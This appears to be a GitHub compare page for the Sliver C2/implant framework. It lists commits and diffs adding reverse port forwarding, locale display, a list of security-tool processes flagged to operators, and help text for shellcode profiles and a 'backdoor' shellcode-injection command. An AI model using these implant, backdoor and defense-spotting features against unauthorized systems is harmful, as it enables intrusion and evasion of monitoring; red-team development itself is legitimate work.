Compare commits

..
83 Commits
Author SHA1 Message Date
moloch-- 6b876d5b0b Fix typo 2022-09-19 23:00:48 -07:00
moloch-- 8c144e3f66 Fix help 2022-09-19 18:23:52 -07:00
Joe 8db2be4e9f Merge pull request #887 from BishopFox/120edependabot/go_modules/gorm.io/gorm-1.23.9
Bump gorm.io/gorm from 1.23.8 to 1.23.9
2022-09-19 10:54:00 -05:00
Joe 1b8411d097 Merge pull request #885 from BishopFox/c6addependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.3.8
Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
2022-09-19 10:53:27 -05:00
Ronan Kervella 67094dec1c Merge pull request #884 from BishopFox/external-builder
External builder
2022-09-19 08:33:46 -07:00
Ronan Kervella 265a1fa33e Merge pull request #869 from BishopFox/obfs
Tweaks to Implant
2022-09-19 08:32:58 -07:00
dependabot[bot] 071a0cb574 Bump gorm.io/gorm from 1.23.8 to 1.23.9
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.23.8 to 1.23.9.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.23.8...v1.23.9)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:58:38 +00:00
dependabot[bot] d469d33e7f Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.2.4 to 6.3.8.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.2.4...v6.3.8)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:35:21 +00:00
moloch-- b013d555a4 Add events api 2022-09-18 18:56:11 -07:00
moloch-- bdf0c7b3f6 Improved comments 2022-09-18 18:30:04 -07:00
moloch-- f042dee7e9 Improved err handling 2022-09-18 18:28:10 -07:00
moloch-- e0b756a5b6 Implement the rest of the external build api 2022-09-18 18:22:24 -07:00
moloch-- f12a60541f Outline external build api 2022-09-18 13:24:01 -07:00
Joe 3c90e4b7e0 Merge pull request #883 from MrAle98/feature/manage-rportfwd
Add reverse port forwardings management
2022-09-18 11:15:47 -05:00
MrAle98 c894e623ca start/stop commands renamed to add/rm 2022-09-17 19:45:39 +02:00
MrAle98 03a6f5f0b6 minor fix 2022-09-17 15:16:19 +02:00
MrAle98 7b3739b87c rportfwd error handling 2022-09-17 14:45:21 +02:00
MrAle98 8a5855fa53 fix rportfwd handlers map 2022-09-17 12:21:29 +02:00
MrAle98 fa11691efb client minor fix 2022-09-17 12:14:36 +02:00
MrAle98 5628197789 renamed add/rm operations to start/stop. stop returns more information 2022-09-17 12:09:18 +02:00
Joe dfba1eeb65 Merge pull request #881 from jamesgol/http-time-warp
Track HTTP time difference in case the implant clock is wrong
2022-09-16 20:44:43 -05:00
Joe 181163d65b Merge pull request #877 from BishopFox/feature/rportfwd
Feature/rportfwd
2022-09-16 20:01:50 -05:00
James Golovich f8db5d4607 Track HTTP time difference in case the implant clock is wrong 2022-09-16 16:12:48 -07:00
Chris Smith e1516ff6c0 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:43:12 -07:00
Chris Smith 82e58c74f7 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:42:22 -07:00
Joe 91a3b36ab4 Merge pull request #878 from jamesgol/wg_persist
Ensure Wireguard keyPort persists
2022-09-16 12:33:07 -05:00
moloch-- 62748edc97 Align rportfwd and portfwd bind parsing 2022-09-15 15:44:20 -07:00
moloch-- 5baf9d3b3b Improved rportfwd ux 2022-09-15 15:40:17 -07:00
James Golovich 5332d0c76f Ensure Wireguard keyPort persists 2022-09-15 15:21:33 -07:00
moloch-- 7a9f216d9c Only include log code when debug mode is enabled 2022-09-15 14:00:36 -07:00
moloch-- 754b9f6af6 Merge master 2022-09-15 13:13:38 -07:00
moloch-- 0c601bdc4b Tweak rportfwd implementation 2022-09-15 13:09:50 -07:00
Joe 3a06595517 Merge pull request #856 from jamesgol/implant-locale
Add locale to beacons/sessions on implants
2022-09-15 11:11:25 -05:00
Joe a91b5a8721 Merge pull request #874 from jamesgol/wg-debug
Change log entries to Debug for WireGuard config
2022-09-15 11:06:37 -05:00
Joe c1ac4ddfea Merge pull request #875 from jamesgol/fix-wg-beacon-win
Sleep before shutting down beacon instead of after
2022-09-15 11:06:21 -05:00
MrAle98 b03657462b minor fix 2022-09-15 16:46:36 +02:00
MrAle98 8bc85b25aa added reverse port forwarding 2022-09-15 11:02:34 +02:00
James Golovich 18f8a8c23f Delay closing to all coroutines to complete
Wireguard beacons could connect, but results of commands weren't making it back.

This is a bit hacky.  It works, but it would be better if there was a way to wait till everything has been transmitted.
2022-09-14 21:44:57 -07:00
James Golovich 4748f61480 Sleep before shutting down beacon instead of after
When using a windows implant + wireguard it looks like the beacon registration message is never recieved by the server because the session is closed too quickly.

Fixes #670
2022-09-14 18:54:08 -07:00
James Golovich f7a4aacf5f Change log entries to Debug
With a lot of WireGuard beacons coming in these logs get excessive
2022-09-14 16:26:29 -07:00
James Golovich da45b2da82 Remove processor constraints for build 2022-09-14 09:00:25 -07:00
James Golovich 097866d0a2 Include github.com/cubiest/jibberjabber files 2022-09-13 16:34:27 -07:00
James Golovich 11959d5911 Separate generic and os specific locale functions 2022-09-13 16:33:27 -07:00
Joe 70b06673fd Merge pull request #867 from jamesgol/implant-vendor-script
Trap failed build when running 'go generate' on the implant
2022-09-13 11:07:20 -05:00
Joe 84a95aea2a Merge pull request #866 from jamesgol/debug-no-canaries
Stop excessive build logging if there are no canaries
2022-09-13 11:07:08 -05:00
moloch-- ba3ec022bb Add lic 2022-09-13 08:31:11 -06:00
moloch-- 394ba431b2 Add lic 2022-09-13 08:28:52 -06:00
moloch-- cda6aeaee6 Remove un-needed pointers 2022-09-13 08:25:37 -06:00
James Golovich 100b26afd0 Trap failed build when running 'go generate' on the implant
I had an error that caused the build to fail which left the environment without a vendor directory
2022-09-12 21:31:25 -07:00
moloch-- 187f9e99ac Refactor c2 url handling 2022-09-12 20:40:39 -06:00
James Golovich 4917c313b6 Stop excessive build logging if there are no canaries 2022-09-12 19:36:50 -07:00
Joe 1f6abf9be3 Merge pull request #863 from BishopFox/a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
2022-09-12 14:54:13 -05:00
Joe 25a22054b7 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 11:02:42 -05:00
Joe 64c5460545 Merge pull request #862 from BishopFox/c6cfdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.6
Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
2022-09-12 11:01:44 -05:00
dependabot[bot] 76fb9dfc93 Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.2.2 to 2.3.6.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.2.2...v2.3.6)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 15:16:37 +00:00
Joe ccd3ed2250 Merge pull request #861 from BishopFox/2e20dependabot/go_modules/github.com/spf13/cobra-1.5.0
Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
2022-09-12 10:14:30 -05:00
Joe fb5c6c0c88 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 10:13:57 -05:00
Joe 11878069f6 Merge pull request #864 from BishopFox/2a7fdependabot/go_modules/github.com/cheggaaa/pb/v3-3.1.0
Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
2022-09-12 10:12:50 -05:00
Joe 3db3930091 Merge pull request #865 from BishopFox/024fdependabot/go_modules/github.com/gofrs/uuid-4.3.0incompatible
Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
2022-09-12 10:12:05 -05:00
dependabot[bot] 9e6412c911 Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.0.0+incompatible to 4.3.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.0.0...v4.3.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:06 +00:00
dependabot[bot] ade96fa281 Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
Bumps [github.com/cheggaaa/pb/v3](https://github.com/cheggaaa/pb) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/cheggaaa/pb/releases)
- [Commits](https://github.com/cheggaaa/pb/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: github.com/cheggaaa/pb/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:00 +00:00
dependabot[bot] 3035d75882 Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.8.1 to 1.9.0.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.8.1...v1.9.0)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:53 +00:00
dependabot[bot] 4ed95375e0 Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.1.1 to 1.5.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.1.1...v1.5.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:38 +00:00
Ronan Kervella 9ee10c5321 Merge pull request #860 from BishopFox/cleanup
Random cleanups and improvements
2022-09-09 14:41:54 -07:00
moloch-- 3cc7be8a9f Random cleanups and improvements 2022-09-09 11:02:04 -07:00
Joe d411d2400c Merge pull request #859 from BishopFox/fix/certs
Fix low entropy x509 subjects
2022-09-08 20:20:44 -05:00
moloch-- e31cafa81d Fix low entropy x509 subjects 2022-09-08 17:37:02 -07:00
Ronan Kervella 80677e652b Merge pull request #857 from cmprmsd/patch-1
Add sysmon + sysmon64
2022-09-08 07:32:01 -07:00
cmprmsd 88abea26a7 Add sysmon + sysmon64
As Sysmon is more commonly used for logging I assume we should flag it also as known security tool.

Signed-off-by: cmprmsd <[email protected]>
2022-09-08 10:46:53 +02:00
James Golovich 18871a8521 Add generated protobuf code 2022-09-07 23:45:53 -07:00
James Golovich ca3377799b Add Locale to protobuf definitions 2022-09-07 23:45:09 -07:00
James Golovich be477918d2 Add locale to implants Sessions and Beacons 2022-09-07 23:44:18 -07:00
Joe 120d537044 Merge pull request #855 from faisalfs10x/faisalfs10x-patch-1
Add trend micro processes
2022-09-07 19:12:07 -05:00
Faisal Fs 59781d4328 Update ps.go
Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:36:05 +08:00
Ronan Kervella f117995aa1 Merge pull request #854 from r00t0v3rr1d3/add-cylance-tanium-senone
Add additional known security tools
2022-09-07 15:16:39 -07:00
Faisal Fs e4793cf616 Add trend micro processes
Add known Trend Micro processes
reference: https://success.trendmicro.com/dcx/s/solution/1122160-monitoring-deep-security-services?language=en_US&sfdcIFrameOrigin=null

Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:08:43 +08:00
Chris Shields b68f4bffd3 Add additional known security tools
Few more SentinelOne processes. Cylance and Tanium processes.
2022-09-07 17:00:33 -04:00
Joe 22fea029ec Merge pull request #853 from BishopFox/audit-log
Improvements to the audit log
2022-09-07 14:25:51 -05:00
Joe 40b99e860f Merge pull request #851 from jamesgol/loot_file
Catch error on 'loot remote' if file doesn't exist
2022-09-07 10:06:40 -05:00
James Golovich 56d143b018 Catch error on 'loot remote' if file doesn't exist 2022-09-06 23:02:20 -07:00
Ronan Kervella 327f7c6826 Merge pull request #850 from jamesgol/websites-strip
Strip query parameters from URLs for incoming HTTP(s) websites
2022-09-06 17:26:04 -07:00
James Golovich eb9506510e Handle err condition 2022-09-06 16:19:03 -07:00
James Golovich 9c5aa26af9 Strip query parameters from URLs for incoming HTTP(s) websites 2022-09-06 16:05:26 -07:00
418 changed files with 201133 additions and 5659 deletions

No files matched your search

+2 -1
View File
@@ -57,7 +57,8 @@ RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make \
RUN make clean-all \
&& make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+2
View File
@@ -119,6 +119,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -186,6 +187,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
}
+54
View File
@@ -66,6 +66,7 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/rportfwd"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
@@ -2529,6 +2530,59 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(registryCmd)
// [ Reverse Port Forwarding ] --------------------------------------------------------------
rportfwdCmd := &grumble.Command{
Name: consts.RportfwdStr,
Help: "reverse port forwardings",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.RportFwdListenersCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add and start reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StartRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
},
HelpGroup: consts.SliverWinHelpGroup,
})
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Stop and remove reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StopRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
HelpGroup: consts.SliverWinHelpGroup,
})
con.App.AddCommand(rportfwdCmd)
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
+3 -3
View File
@@ -206,10 +206,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -464,7 +464,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
+2
View File
@@ -65,6 +65,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
@@ -81,6 +82,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
+14 -4
View File
@@ -19,8 +19,10 @@ package portfwd
*/
import (
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -29,6 +31,10 @@ import (
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
if session.Transport == "wg" {
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
}
remoteAddr := ctx.Flags.String("remote")
if remoteAddr == "" {
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
}
bindAddr := ctx.Flags.String("bind")
if remoteAddr == "" {
con.PrintErrorf("Must specify a bind target host:port")
if bindAddr == "" {
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
return
}
// If only a port is specified bind to localhost
if portNumberOnlyRegexp.MatchString(bindAddr) {
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
+16
View File
@@ -51,12 +51,28 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
}
)
+77
View File
@@ -0,0 +1,77 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
bindAddress := ctx.Flags.String("bind")
// Check if the bind address is just a port number, if no host is specified
// we just bind to all interfaces implant-side
if portNumberOnlyRegexp.MatchString(bindAddress) {
bindAddress = fmt.Sprintf(":%s", bindAddress)
}
forwardAddress := ctx.Flags.String("remote")
// Check if the forward address is just a port number, if no host is specified
// we just forward to localhost client-side
if portNumberOnlyRegexp.MatchString(forwardAddress) {
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
}
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
Request: con.ActiveTarget.Request(ctx),
BindAddress: bindAddress,
ForwardAddress: forwardAddress,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStartedRportFwdListener(rportfwdListener, con)
}
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
+55
View File
@@ -0,0 +1,55 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listenerID := ctx.Flags.Int("id")
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
Request: con.ActiveTarget.Request(ctx),
ID: uint32(listenerID),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStoppedRportFwdListener(rportfwdListener, con)
}
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
+74
View File
@@ -0,0 +1,74 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
}
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
return
}
if len(rportfwdListeners.Listeners) == 0 {
con.PrintInfof("No reverse port forwards\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
"Bind Address",
})
for _, p := range rportfwdListeners.Listeners {
tw.AppendRow(table.Row{
p.ID,
p.ForwardAddress,
p.BindAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+2
View File
@@ -140,6 +140,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
@@ -186,6 +187,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
}
+6 -2
View File
@@ -88,6 +88,9 @@ const (
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
// ExternalBuildEvent
ExternalBuildEvent = "external-build"
)
// Commands
@@ -224,8 +227,9 @@ const (
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
RportfwdStr = "rportfwd"
ReactionStr = "reaction"
+15 -8
View File
@@ -5,14 +5,14 @@ go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.0.5
